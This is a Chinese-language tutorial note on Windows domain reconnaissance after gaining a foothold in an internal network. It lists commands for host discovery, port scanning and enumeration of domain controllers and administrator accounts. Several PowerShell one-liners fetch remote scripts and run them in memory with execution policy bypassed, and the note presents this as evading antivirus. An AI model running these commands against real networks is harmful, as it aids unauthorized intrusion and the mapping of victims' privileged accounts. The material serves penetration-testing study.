0x00 参考

《内网安全攻防》笔记。

0x01 判断是否存在域

获得本机相关信息之后,就要判断当前内网中是否存在域。如果当前内网存在域,则需要判断所控主机是否在域内。

ipconfig命令

1
ipconfig /all

使用该命令即可查看网管IP、DNS IP、域名、本机是否和DNS服务器出于同一网段等信息。

然后就可以通过反向解析命令nslookup来解析域名的IP地址,用解析得到的IP地址进行对比,判断DC和DNS服务是否在同一台服务器上。

查看系统详细信息

1
systeminfo

显示项的“域”即域名,“登录服务器”即域控制器。若“域”为“WORKGROUP”则表示当前机器不在域内。

查询当前登录域及登录用户信息

1
net config workstation

显示项的“工作站域 DNS 名称”即域名(若为“WORKGROUP”则表示不在域中),“登录域”用于表示当前登录的用户是域用户还是本地用户。

判断主域

1
net time /domain

该命令用于判断主域(域服务器通常会同时作为时间服务器使用),执行后通常会有如下三种情况:

1、存在域,但当前用户不是域用户。

2、存在域,且当前用户是域用户。

3、当前网络环境为工作组,不存在域。

0x02 探测域内存活主机

在进行域内存活主机探测的时候,有几个注意点:

  • 尽量避免触发域内的一些防病毒软件的告警和拦截;
  • 在非授权情况下,避免使用工具进行暴力扫描;
  • 尽量避免在目标机子上使用图形化工具;
  • 尽量使用系统自带的工具进行探测,如powershell脚本;

利用NetBIOS探测内网

NetBIOS,为网上基本输入输出系统(Network Basic Input/Output System)的缩写,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,NetBIOS不是一种网上协议,而是应用程序接口(API)。较古老的操作系统,使用IEEE 802.2与IPX/SPX协议,可以使用NetBIOS Frames协议或NetBIOS over IPX/SPX协议来运作。现代操作系统,多数都使用TCP/IP协议,则可透过NetBIOS over TCP/IP协议来相互通信。

几乎所有的局域网都是基于NetBIOS基础上进行工作的,NetBIOS的工作流程就是正常的机器名解析查询应答过程,因此在内网探测域内存活主机时优先使用NetBIOS进行探测。

nbtscan是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。其有Windows版本和Linux版本,体积很小,且不需要特殊的库或DLL,使用简单,无参输入nbtscan.exe即可查看帮助文档。

将nbtscan上传到内网目标主机,然后直接在指定目标IP段进行扫描即可:

Linux版本是一样的,这里看Kali默认的:

具体参数说明如下表:

Token 含义
SHARING 该机器中有运行文件和打印共享服务,但不一定有内容共享
DC 该机器可能是域控制器
U=USER 该机器有登录名为 USER 的用户(不是太准确)
IIS 该机器可能安装了 IIS 服务器
EXCHANGE 该机器可能安装了微软的 EXCHANGE
NOTES 该机器可能安装了 IBM 的 LOTUS NOTES(电子邮件客户端)
? 没有识别出该机器的 NETBIOS 资源

利用ICMP协议探测内网

即使用ping来探测内网。

可以使用如下命令循环探测内网C段:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

也可以使用VBS脚本进行探测,icmp.vbs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
strSubNet = "192.168.1."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! :) "
End If
Next
objTS.Close
WScript.Echo "All Ping Scan , All Done ! :) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function

不同场景改下IP段即可,扫描结果默认保存在C:\Windows\Temp\Result.txt中:

利用ARP探测内网

这里介绍3个工具。

arp-scan

Windows下运行:

Linux版的参考Kali中自带的即可:

Empire中的arpscan模块

Empire中内置了arpscan模块,用于在局域网内发送ARP数据包、收集活跃主机的IP地址和MAC地址信息。

在Empire中输入命令如下命令即可使用arpscan模块:usemodule powershell/situational_awareness/network/arpscan

Nishang中的Invoke-ARPScan.ps1脚本

源码:Invoke-ARPScan.ps1

新版Nishang下的脚本:https://github.com/samratashok/nishang/tree/master/Scan

远程下载运行:

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(' http://192.168.1.1/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.1.0/20" >> c:\windows\temp\log.txt

本地运行:

1
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt

无条件运行,即不下载到本地硬盘而是在内存中运行,不触发防护软件的检测:

1
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"

利用TCP/UDP端口扫描探测内网

ScanLine是一个同时支持TCP和UDP端口扫描的体积小的端口扫描工具,可以在所有版本的Windows上使用。

1
sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt -p 192.168.1.1-254 /b

0x03 域内端口扫描

一般端口扫描需要关注如下三点:

  • 端口的Banner信息;
  • 端口上运行的服务;
  • 常见服务的默认端口号;

在内网渗透中,建议使用Metasploit内置的端口扫描或者通过上传端口扫描工具或者根据服务器环境自定义扫描脚本来进行扫描。在授权的情况下,可以使用Nmap和Masscan等工具进行扫描。

利用telnet进行扫描

Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。

一般,若想快速探测某主机的某个常见服务端口是否开放,此时使用telnet扫描最为方便。

S扫描器

S扫描器是较老的一款快速端口扫描工具,支持大网段扫描,适用于Windows Server 2003及以下版本的系统(以上版本速度较慢、会有点报错)。

S扫描器的扫描结果默认保存在其目录下的result.txt文件中,推荐使用TCP扫描,命令如下:

1
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save

Metasploit端口扫描

Metasploit不仅提供了多种端口扫描技术,还提供了与其他扫描工具的接口。

使用search portscan命令即可搜索出相关模块:

利用auxiliary/scanner/portscan/tcp模块扫描示例:

PowerSploit的Invoke-Portscan.ps1脚本

脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/Invoke-Portscan.ps1

推荐使用无文件的形式来进行扫描:

1
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"

下载地址如果是无法连外网的内网自己可自行修改为内网其他的可访问的Web服务地址。

Nishang的Invoke-PortScan模块

作为Nishang的端口扫描模块,Invoke-PortScan模块主要用于主机发现、解析主机名、扫描端口等。

Nishang项目地址:https://github.com/samratashok/nishang

可以输入Get-Help Invoke-PortScan -full命令查看使用教程。使用的时候需要先将模块先导入到当前powershell会话中。

几个参数如下:

  • StartAddress:范围扫描起始地址;
  • EndAddress:范围扫描结束地址;
  • ScanPort:进行端口扫描;
  • Port:指定端口扫描,默认扫描常见服务端口;
  • Timeout:设置超时时间;

可以全部导入,扫描指定范围局域网内存活主机并解析主机名:

1
2
PS C:\nishang> Import-Module .\nishang.psm1
PS C:\nishang> Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.10 -ResolveHost

也可以单个导入:

1
2
PS C:\nishang> . C:\nishang\Scan\Invoke-PortScan.ps1
PS C:\nishang> Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.10 -ResolveHost

端口Banner信息小结

通过端口扫描发现存在的端口后,可以使用客户端连接工具或者nc来获取服务端的Banner信息。通过Banner信息识别出特定服务再进行进一步的渗透测试。

常见端口说明如下:

0x04 域内基础信息收集

确定了当前内网拥有的域,并且所控制的主机在域内,就能进行域内一些基础信息的收集了。

注意:本小节列出的查询命令本质上都是通过LDAP协议到域控制器上进行查询的,因此在查询时是需要进行权限认证的。此时,只有域用户才拥有权限查询,本地用户是无法运行本小节的查询命令的,当然System权限用户除外。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上$。System权限用户对应的就是域里的机器用户,所以System权限用户可以运行需要权限认证的查询命令。

查询域

1
net view /domain

查询域内所有主机

如下命令可以通过查询得到的主机名对主机角色进行初步判断,比如”dev”可能是开发服务器,”web”、”app”等可能是Web服务器,”NAS”可能是存储服务器,”fileserver”可能是文件服务器等:

1
net view /domain:HACKER

查询域内所有用户组列表

1
net group /domain

系统自带的常见用户身份如下:

  • Domain Admins:域管理员;
  • Domain Computers:域内机器;
  • Domain Controllers:域控制器;
  • Domain Guests:域访客,权限较低;
  • Domain Users:域用户;
  • Enterprise Admins:企业系统管理员用户;

可以看到有13个用户组:

查询所有域成员计算机列表

1
net group "domain computers" /domain

获取域密码相关信息

如下命令可以获取域密码策略、密码长度、错误锁定等信息:

1
net accounts /domain

获取域信任信息

1
nltest /domain_trusts

0x05 查找域控制器

查找域控制器的机器名

1
nltest /DCLIST:hacker

获取域控制器的机器名为”DC”:

查看域控制器的主机名

1
Nslookup -type=SRV _ldap._tcp

运行后看到域控制器的主机名为”dc”:

查看当前时间

一般的,时间服务器为主域控制器。

1
net time /domain

查看域控制器组

1
net group "Domain Controllers" /domain

在实际环境中,一个域内是存在两台或以上的域控制器,用以实现主备。

1
netdom query pdc

这里可以看到主域控制器的机器名为”DC”(注意,win7中默认没有netdom命令,winserver有):

0x06 查询域内用户和管理员信息

查询所有域用户列表

向域控制器进行查询

如下命令会向域控制器DC进行查询:

1
net user /domain

运行后发现域内存在4个用户,其中krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥、还可以实现多种域内权限持久化方法:

获取域内用户的详细信息

如下命令可获取域内用户的详细信息,包括用户名、描述信息、SID、域名、状态等:

1
wmic useraccount get /all

查询存在的用户

1
dsquery user

dsquery是AD的命令,只能在AD上使用:

查询本地管理员组用户

1
net localgroup administrators /domain

执行后看到本地管理员组存在两个用户和一个组:

Domain Admins组中的用户默认为域内机器的本地管理员用户。在实际应用中,为了方便管理,会有域用户被设置为域机器的本地管理员用户。

查询域管理员用户组

查询域管理员用户

1
net group "domain admins" /domain

查询管理员用户组

1
net group "Enterprise Admins" /domain